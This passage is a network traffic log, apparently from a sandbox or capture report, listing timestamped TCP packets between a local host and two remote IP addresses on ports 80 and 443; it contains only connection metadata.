Oct 6, 2024 22:33:09.700455904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700475931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700498104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700546980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700551987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700572968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700607061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700634956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700670958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700684071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700697899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700711966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700725079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700726986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700745106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700779915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700779915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700869083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700922012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700927019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700944901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700963974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700972080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700985909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700994015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701006889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701014042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701029062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701031923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701046944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701049089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701069117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701071978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701092958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701111078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701194048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701211929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701246023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701250076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701267004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701328039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701349020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701368093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701384068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701384068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701387882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701405048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701409101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701423883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701430082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701452971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701464891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701482058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701517105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701677084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701694012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701713085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701726913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701731920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701752901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701754093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701754093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701771975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701773882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701791048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701807976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701812983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701831102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.701853991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.701874971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702084064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702104092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702124119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702141047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702141047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702145100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702162027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702166080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702179909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702187061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702207088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702227116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702227116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702249050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702254057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702254057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702265978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702275038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702287912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702294111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702308893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702325106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702325106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702328920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702347994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702352047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702367067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702387094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702712059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702732086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702749968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702763081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702769041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702789068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702789068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702790976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702810049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702811003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702826023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702832937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702848911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702855110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702874899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702888966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702893972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702907085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702914953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702927113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702934980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702951908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702951908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702958107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.702972889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.702976942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703011990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703015089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703033924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703046083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703052044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703088045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703212976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703231096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703255892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703275919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703413963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703433990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703454018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703474045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703485012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703494072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703502893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703514099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703531981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703535080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703555107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703562975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703562975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703577995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703583002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703598022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703624010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703630924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703649998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703685999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703787088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703805923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703825951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703831911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703843117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703860998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703861952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703864098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703881025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703885078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703901052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703907013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703922033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703927994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703946114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703957081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.703965902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.703978062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704010010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704010010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704185009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704202890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704221010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704231024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704240084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704248905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704267979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704269886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704289913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704291105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704312086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704330921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704336882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704350948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704360962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704374075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704377890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704395056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704397917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704415083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704417944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704436064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704436064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704452991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704457045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704473019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704477072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704497099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704497099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704520941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704607964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704627991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704647064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704664946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704664946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704667091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704684973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704687119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704703093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704708099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704731941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704735994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704750061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.704756021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704794884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.704794884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.734649897 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.735235929 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.735258102 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.735912085 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.735919952 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.754508972 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.755481005 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.755491972 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.755994081 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.755997896 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.772720098 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.773329020 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.773341894 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.774166107 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.774173975 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.783921957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.783956051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.783977032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.783991098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.784003019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.784022093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.784022093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.784024954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.784043074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.784065008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.784136057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.784156084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.784173965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.784200907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.784224033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786578894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786653996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786674023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786700010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786700010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786705971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786721945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786726952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786742926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786748886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786770105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786784887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786792040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786813021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786837101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786880016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786916018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786973000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.786981106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.786995888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787019968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787045956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787077904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787097931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787117004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787133932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787133932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787137985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787178993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787178993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787199020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787247896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787298918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787317038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787339926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787358999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787363052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787379980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787381887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787436008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787436008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787602901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787621975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787641048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787651062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787662029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787668943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787683964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787688971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787703037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787724972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787709951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787751913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787810087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787817001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787831068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787851095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.787873983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787894011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.787975073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788011074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788033009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788039923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788053036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788068056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788068056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788085938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788091898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788105965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788126945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788136005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788145065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788155079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788165092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788173914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788184881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788193941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788209915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788213968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788229942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.788235903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788253069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.788285017 CEST	49741	80	192.168.2.4	141.98.233.156
